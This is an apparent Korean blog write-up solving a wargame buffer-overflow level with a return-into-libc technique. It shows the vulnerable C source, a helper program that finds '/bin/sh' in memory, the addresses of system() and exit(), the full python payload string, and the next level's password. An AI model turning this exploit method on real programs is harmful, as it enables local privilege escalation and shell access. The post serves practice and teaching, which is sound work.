2011. 6. 8. 23:41

⊙ 문제의 소스를 보자)

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


   

   

♧ RET이 "\xbf"로 시작 할 수 없다. 즉, RET을 스택영역으로 둘 수 없다.

그렇기 때문에 RTL(Return-into-Libc) 기법을 통한 문제를 문제를 풀도록 하자.

(*자세한 내용은 밑에 참조 문서를 참고 하도록 하자.)

ⓐ 공유 라이브러리의 함수의 위치는 정해져 있다. 시스템마다 위치가 다르기는 하지만

한번 위치가 알려지면 재컴파일되기 전까지는 위치가 같다.

ⓑ 쉘코드를 사용하는 대신에 RET지점에 라이브러리 함수( system(), exit(), "/bin/sh")같은

위치값을 넣어주면 그 함수로 점프하게 된다.

ⓒ 스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3

ⓓ 간단한 구성은 다음 그림과 같다.


참조 문서

   

   

∑ 익스 플로잇 작성!

① 필요한 함수와 인자의 주소(system, exit, "/bin/sh")를 구해 보자.

* 공유라이브러리는 항상 메모리에 상주 함으로 권한이 있는 아무런 프로그램을 GDB실행하여
print <함수 이름>로 찾으면 된다.

ⓐ system(), exit() 주소 찾기.

ⓑ "/bin/sh" 인자로 쓰일 문자열 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

   

② 공격 스크립트 작성

system :: [ 0x40058ae0 ]

exit :: [ 0x400391e0 ]

"/bin/sh" :: [ 0x400fbff9 ]

$(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

③ ∑xploit

성공!!!

*exit() 주소 대신 아무런 가비지값을 넣어도 없지만 세그먼트 에러가 발생한다.

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

darkknight : "new attacker"

Posted by devanix